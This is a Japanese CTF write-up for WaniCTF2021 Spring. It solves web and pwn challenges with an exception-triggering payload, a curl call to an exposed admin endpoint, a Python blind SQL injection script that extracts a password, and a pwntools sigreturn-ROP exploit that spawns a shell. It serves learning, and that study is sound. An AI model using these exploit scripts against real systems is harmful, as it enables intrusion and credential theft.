WaniCTF2021 Spring writeup
WaniCTF2021 Springに個人で参加し、Webは全完、PwnはVery hardを残して6問、Dockerを勉強してたのでDockerに関連するMiscを1問解きました。 このうち、Hard以上のもの&面白かったものをwriteupで書いていこうと思います。
Web
Exception(Easy, sensitive info leak)
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
- 個人的に今回のWaniCTFで最も難しく、解くまでに時間がかかった問題です笑
Analysis
- ソースコードが添付されています
- Lambdaで動く関数がPythonで書かれており、例外処理を起こせばFlagを取れるようです
- ユーザの入力が
json.dumps({"name": "こんにちは、" + data["name"] + "さん"})
の部分に入り、それ以外は何もできません
def lambda_handler(event, context): try: try: data = json.loads(event["body"]) except Exception: data = {} if "name" in data: return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), } return { "statusCode": 400, "body": json.dumps( { "error_message": "Bad Request", } ), } except Exception as e: error_message = traceback.format_exception_only(type(e), e) del event["requestContext"]["accountId"] del event["requestContext"]["resourceId"] return { "statusCode": 500, "body": json.dumps( { "error_message": error_message, "event": event, "flag": os.environ.get("FLAG"), } ), }
Solution
- 前述のとおり、例外を起こせばよいのですが、JSONのフォーマットやHTTPリクエストのヘッダーなどをいじってエラーを起こしても別のエラーハンドリングにキャッチされ400 Bad Requestになるので、かなり悩みました
- 単に、送る内容を文字列ではなく数値にするとPythonが
"TypeError: can only concatenate str (not "int") to str"
で目的の例外を起こしてくれました
- 単に、送る内容を文字列ではなく数値にするとPythonが
Payload
{"name":1}
Flag
FLAG{b4d_excep7ion_handl1ng}
CloudFront Basic Auth(Hard, Access Control Misconfiguration)
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。 重要なエンドポイントにはBasic認証をつけてみました。
Analysis
AdminFunction: Type: AWS::Serverless::Function # More info about Function Resource: https://github.com/awslabs/serverless-application-model/blob/master/versions/2016-10-31.md#awsserverlessfunction Properties: CodeUri: admin/ Handler: app.lambda_handler Runtime: python3.8 Environment: Variables: FLAG: !Ref FLAG2 Events: Admin: Type: Api # More info about API Event Source: https://github.com/awslabs/serverless-application-model/blob/master/versions/2016-10-31.md#api Properties: # "https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"にGETするとAdminFunctionが動く Path: /admin Method: get RestApiId: !Ref API
Solution
"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"にGETするとAdminFunctionが動く
とのことだったので、このエンドポイントを探してみます。 Exceptionと同じように例外を発生させて、エラーの情報から使えそうな情報が無いか探すと以下のような一文が見つかりました。
"Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com"
というわけで、このエンドポイントに対して/Prod/admin
をつけたURLにアクセスしてみます。
Payload
curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin
これでFlagが帰ってきました。
Flag
FLAG{ap1_g4teway_acc3ss_con7rol}
watch animal(Very Hard, Blind SQLi)
スーパーかわいい動物が見れるWebサービスを作ったよ。 wanictf21spring@gmail.comのメアドの人のパスワードがフラグです。
Analysis
- アプリのログイン画面を色々テストしてみると、Email addressでもPasswordのフォームでもSQLインジェクションが可能なことがわかります
- ただ、ログインするのが目的ではなく
wanictf21spring@gmail.com
のメールアドレスを持つユーザーのパスワードを抜き出すのが問題なので、どうにかしてパスワードをリークさせる必要があります。
Solution
とりあえずUnion-based SQLiを使って、エラーが起きればログインが失敗することを利用してDB内のカラム名などを特定していきました(ソースコードが配布されていることに競技中気づかず、これを書いてる時に気づきました💦)
' UNION SELECT email, 2,3 from users -- -
などで確かめると、usersテーブルが存在すること、emailカラムやpasswordカラムがあることが判明します- ここからはBlind SQLiを利用してパスワードをリークさせていくことにしました。
Payload
- HeroCTF v3でLIKE句を用いたBlind SQLiがあったので、それを応用してLIKE句を使ってリークしてみました
import string import requests url = 'https://watch.web.wanictf.org/' # _もマッチするので今回は消しました cs = string.ascii_letters + string.digits + "!\"#$&'()*+,-./:;<=>?@[\]^`{|}~" ans = "" for i in range(1, 60): for char_number in cs : char =ans + char_number sql = "' union select 1,2,password from users where email = 'wanictf21spring@gmail.com' and password like '{char}%' -- -".format(char = char) payload = { 'email' : 'wanictf21spring@gmail.com', 'password' : sql } response = requests.post(url, data=payload, verify=False) if 'Failed' not in response.text: print("Found!", char) ans += char_number break
Flag
(´+ω+`)< python3 wani-blind.py Found! F Found! FL Found! FLA Found! FLAG Found! FLAG{ Found! FLAG{b Found! FLAG{bl Found! FLAG{bl1 Found! FLAG{bl1n Found! FLAG{bl1nd Found! FLAG{bl1ndS Found! FLAG{bl1ndSQ Found! FLAG{bl1ndSQL Found! FLAG{bl1ndSQLi Found! FLAG{bl1ndSQLi}
Pwn
SuperROP(Hard)
sigreturnを用いたROPでシェルを実行してください。 sigreturnを使うとスタックの値でレジスタを書き換えることができます。
Analysis
- スタックのアドレスをプログラムが表示し、ユーザの入力を受け付けます
- BOFがあります
- 問題名からも説明文からもわかるように、SROP(Sigreturn ROP)と呼ばれるテクニックを使う問題です
- 年初あたりに開催されたNahamCon CTF 2021にも出題されていましたが、writeup読んでもあまりよく分かってないまま放置してました
Solution
SROP問のwriteupを読んでいると、この問題でSROPを使うには以下のものが必要そうだと判明しました
syscall; ret
のアドレス(gadget)- raxを0xf(15)にセットするgadget(sigreturnのシステムコール番号が15)
syscall; ret
はobjdumpした結果、0x401176
に定義されたcall_syscall関数の中にありました。
また、raxを0xfにセットするgadgetもset_rax関数の中で定義されていたので用意できそうです。
SigreturnFrameにはそれぞれ実行したいシステムコールのための値をセットします。
- frame.rax→0x3b(execveのシステムコール番号)
- frame.rdi→execveの第一引数、実行したいプログラムへのパス。ここでは/bin/sh\0がセットされているスタックのあどれす
- frame.rsi→execveの第二引数、NULLでよいので0
- frame.rdx→execveの第三引数、NULLでよいので0
- frame.rip→
syscall; ret
へのアドレス
あとはpwntoolsのSigreturnFrameをバイト列に変換して送信すればOK...のはずですが、この問題はスタックのアラインメントを揃えなければならないようだったので、ret命令のgadgetを挟まなければなりませんでした。
あとは、プログラムを起動した時にリークされるスタックのアドレスにシェル起動用の文字列/bin/sh\0
もセットしてやればOKです!
Payload
from pwn import * binary = context.binary = ELF("./pwn06") r = remote("srop.pwn.wanictf.org", 9006) syscall = 0x40117e set_rax = 0x40119c ret = 0x40101a r.recvuntil("buff : ") stack = int(r.recvline().rstrip(), 16) print(hex(stack)) frame = SigreturnFrame(kernel='amd64') frame.rax = 0x3b # execve, 59 frame.rsi = 0 # NULL frame.rdx = 0 # NULL frame.rdi = stack # pointer to /bin/sh frame.rip = syscall payload = b"/bin/sh\0" payload += b"A" * (72 - len(payload)) payload += p64(ret) payload += p64(set_rax) payload += p64(syscall) payload += bytes(frame) r.sendline(payload) r.interactive()
Flag
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
感想
前回のWaniCTFより程よく難易度が上がっており、尚且つ勉強になるCTFでした!
特にSROP問は復習しようしようと思っていながらもその時間が確保できず先送りにしていたので、今回のCTFで解く経験を積ませていただきました。
作問者と主催の皆様、ありがとうございました!!